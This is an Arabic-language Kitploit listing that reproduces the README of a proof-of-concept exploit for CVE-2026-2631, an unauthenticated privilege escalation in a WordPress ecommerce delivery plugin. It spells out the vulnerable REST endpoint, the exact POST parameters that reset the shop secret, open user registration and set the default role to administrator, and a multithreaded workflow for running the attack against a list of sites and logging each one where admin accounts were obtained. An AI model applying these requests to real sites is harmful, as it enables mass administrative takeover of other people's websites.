Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-2631 — Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - تصعيد امتيازات بدون مصادقة | Kitploit
أدوات/GitHubGitHub/nxploited/cve-2026-2631
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالتعلم والتعليمالفريق الأحمر
GitHubnxploited/cve-2026-2631

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - تصعيد امتيازات بدون مصادقة

عرض المستودع
323منذ 7 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - تصعيد صلاحيات بدون مصادقة

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – تصعيد صلاحيات بدون مصادقة

نص PoC / سكربت الاستغلال: CVE-2026-2631.py
المؤلف: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
للتواصل: تيليجرام: @Kxploit


🧬 نظرة عامة على الثغرة

  • البرنامج المساعد: Datalogics Ecommerce Delivery – Datalogics (WordPress)
  • الإصدارات المتأثرة: < 2.6.60 (حصريًا)
  • نوع الثغرة: تصعيد صلاحيات بدون مصادقة
  • CVE: CVE-2026-2631
  • CVSS v3.1: 9.8 (Critical)
    AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • تاريخ النشر العام: 12 مارس 2026
  • آخر تحديث: 19 مارس 2026
  • الباحث: Khaled Alenazi (Nxploited)

البرنامج المساعد Datalogics Ecommerce Delivery – Datalogics يعرّض نقطة نهاية بدون مصادقة:

/wp-json/gsf/v1/update-options

يستغل هذا السكربت تلك النقطة من أجل:

  1. 💣 إعادة تعيين المفتاح الداخلي shop_secret باستخدام الإجراء القابل للاستغلال resetStoreConfigrations.
  2. 🔓 تفعيل تسجيل المستخدمين: users_can_register = 1.
  3. 👑 تعيين الدور الافتراضي للمستخدم الجديد إلى administrator: default_role = administrator.
  4. 🧑‍💻 تسجيل مستخدم جديد تلقائيًا عبر نموذج تسجيل ووردبريس:
    • wp-login.php?action=register

في حال نجاح العملية، أي مستخدم جديد يتم إنشاؤه عبر نموذج التسجيل سيكون مديرًا (administrator).


⚙️ الميزات

  • ✅ استغلال جماعي ضد أهداف ووردبريس متعددة (من ملف).
  • ✅ بدون مصادقة (لا يتطلب تسجيل دخول أو كوكيز).
  • ✅ إعادة تعيين تلقائية لـ shop_secret عبر نقطة نهاية REST القابلة للاستغلال.
  • ✅ تحديث تلقائي لخيارات ووردبريس:
    • users_can_register = 1
    • default_role = administrator
  • ✅ تسجيل حساب تلقائي ببيانات اعتماد مخصصة.
  • ✅ مخرجات TUI غنية باستخدام rich (جدول ملوّن ومحدّث مباشرةً).
  • ✅ تعدد خيوط مع عدد خيوط قابل للضبط.
  • ✅ تسجيل النتائج في Login_admin.txt.

📦 المتطلبات

🐍 بيئة التشغيل

  • Python 3.x (يُفضَّل 3.8+)

📚 حزم Python

تثبيت الحزم المطلوبة:

pip install -r requirements.txt

مثال على requirements.txt:

requests
rich
urllib3

أو التثبيت يدويًا:

pip install requests rich urllib3

🧪 منطق السكربت (التدفق العام)

لكل هدف:

  1. تطبيع عنوان URL

    • يضمن إضافة http:// إذا كانت مفقودة.
    • يزيل الخطوط المائلة الزائدة.
  2. إعادة تعيين shop_secret

    • نقطة النهاية:
      /wp-json/gsf/v1/update-options
    • بيانات POST:
      • action = resetStoreConfigrations
      • shop_secret = <new_secret>
    • يبحث عن نص الرد:
      • app secret key has been updated successfully
  3. تحديث خيارات ووردبريس

    • نفس نقطة النهاية، مع:
      • action = createUpdateOption
    • تحديثان للخيارات:
      1. option_key = users_can_register, option_value = 1
      2. option_key = default_role, option_value = administrator
    • نمط النجاح:
      • wordpress option has been created or updated successfully
  4. التحقق من أن التسجيل مفتوح

    • الرابط:
      /wp-login.php?action=register
    • يفحص HTML بحثًا عن:
      • Users can register, Anyone can register, user_registration, registerform
    • أو يكتشف العبارة الصريحة:
      • user registration is currently not allowed
  5. محاولة تسجيل مستخدم

    • نفس رابط التسجيل.
    • يستخرج _wpnonce من الحقل المخفي إذا كان موجودًا.
    • يرسل بيانات التسجيل عبر POST:
      • user_login, user_email
      • user_pass/user_pass2 إذا كانت حقول كلمة المرور موجودة
      • _wpnonce, _wp_http_referer, redirect_to, wp-submit=Register
    • يكتشف النجاح من خلال:
      • registration complete, check your email, user registered
    • إذا كان اسم المستخدم موجودًا مسبقًا:
      • يُسجَّل كنجاح: user_already_exists
  6. تسجيل النتائج

    • كل عملية تحديث خيار ناجحة (مع أو بدون نجاح التسجيل) تُكتب كسطر في:
      • Login_admin.txt
    • الصيغة:
      <site> | register_url: <url> | shop_secret: <secret> | <details>
      

🧵 نموذج تعدد الخيوط

  • يقرأ جميع الأهداف من list.txt (أو ملف مخصص).
  • يقسّم الأهداف إلى N أجزاء باستخدام chunkify.
  • يشغّل N خيط عمل، يعالج كل خيط قائمته الخاصة من الأهداف.
  • يستخدم Queue مشتركة لرسائل الحالة إلى خيط الطابعة.
  • خيط طابعة مخصص (printer_loop) يحدّث جدول rich مباشرةً:
    • يعرض الفهرس، الموقع، الحالة (SUCCESS/FAILED/ERROR)، والتفاصيل.
    • يعرض إجمالي المعالَج واسم ملف الإخراج.

🚀 الاستخدام

1️⃣ التشغيل الأساسي

python3 CVE-2026-2631.py

سيُطلب منك تفاعليًا إدخال:

  1. ملف الأهداف

    • المطالبة: Targets file (one host/URL per line) [list.txt]:
    • الافتراضي: list.txt
    • كل سطر: نطاق أو رابط كامل
      • أمثلة:
        • victim.com
        • https://target-site.com
        • http://example.org/blog
  2. عدد الخيوط

    • المطالبة: Threads (1-50) [10]:
    • الافتراضي: 10
    • الحد الأقصى: 50
      خيوط أكثر = سرعة أعلى، لكن حمل أكبر على نظامك والأهداف.
  3. قيمة shop_secret

    • المطالبة: shop_secret [Nxploited_newSecret]:
    • الافتراضي: Nxploited_newSecret
      هذا هو المفتاح السري الجديد الذي يُرسل إلى resetStoreConfigrations.
  4. بيانات اعتماد التسجيل

    • Registration username [Nx_test1]:
    • Registration email [[email protected]]:
    • Registration password [Nx_adminSA]:

ستُستخدم هذه البيانات في محاولة التسجيل على كل هدف قابل للاستغلال.


2️⃣ صيغة ملف الأهداف

أنشئ list.txt (أو أي ملف تريده) مع هدف واحد في كل سطر:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

السكربت سيقوم بـ:

  • إضافة http:// تلقائيًا إذا كانت مفقودة.
  • إزالة / الزائدة في النهاية.

3️⃣ المخرجات والنتائج

  • جميع العمليات الناجحة (حتى لو فشل تسجيل المستخدم مع نجاح تعيين الخيارات) تُكتب إلى:

    Login_admin.txt

  • سطر نموذجي:

    http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
    
  • أمثلة على الحالة في الجدول المباشر:

    • ✅ SUCCESS – تم تعيين الخيارات و/أو تسجيل المستخدم.
    • ❌ FAILED – فشلت إعادة التعيين/الخيارات، الثغرة غير قابلة للاستغلال.
    • ⚠️ ERROR – استثناء، أخطاء شبكة، مهلات زمنية، إلخ.

🧱 نقاط النهاية والمعاملات HTTP

🔓 نقطة نهاية REST القابلة للاستغلال

POST /wp-json/gsf/v1/update-options

1. إعادة تعيين shop_secret

action=resetStoreConfigrations
shop_secret=<new_secret>

2. تحديث الخيارات

action=createUpdateOption
shop_secret=<new_secret>
option_key=users_can_register
option_value=1
action=createUpdateOption
shop_secret=<new_secret>
option_key=default_role
option_value=administrator

🧑‍💻 نقطة نهاية التسجيل

GET/POST /wp-login.php?action=register

السكربت:

  • يستخرج _wpnonce إذا كان موجودًا.
  • يرسل بيانات التسجيل مع اسم المستخدم والبريد الإلكتروني وكلمة المرور المقدمة (إذا كانت الحقول موجودة).

🔧 داخل السكربت (الدوال الرئيسية)

  • normalize_site(raw: str) -> str
    يطبّع عناوين URL للأهداف.

  • send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
    يحاول إجراء resetStoreConfigrations.

  • send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
    يعيّن خيارات ووردبريس عبر نقطة النهاية القابلة للاستغلال.

  • check_registration_open(site: str, timeout: int = 10) -> (bool, str)
    يتحقق مما إذا كان التسجيل مفتوحًا والنموذج متاحًا.

  • try_register_user(...) -> (bool, str)
    يحاول تسجيل المستخدم المقدَّم.

  • write_success_line(site: str, secret: str, detail: str)
    يسجّل تفاصيل النجاح في Login_admin.txt.

  • worker(...)
    خيط عامل لكل خيط يقوم بـ:

    1. إعادة تعيين shop_secret
    2. تعيين الخيارات
    3. فحص التسجيل
    4. محاولة التسجيل
    5. تسجيل النتيجة ودفع الحالة إلى قائمة الانتظار
  • printer_loop(queue: Queue, total: int)
    يقرأ الرسائل من قائمة الانتظار ويحدّث واجهة جدول rich المباشرة.

تنزيل الأداة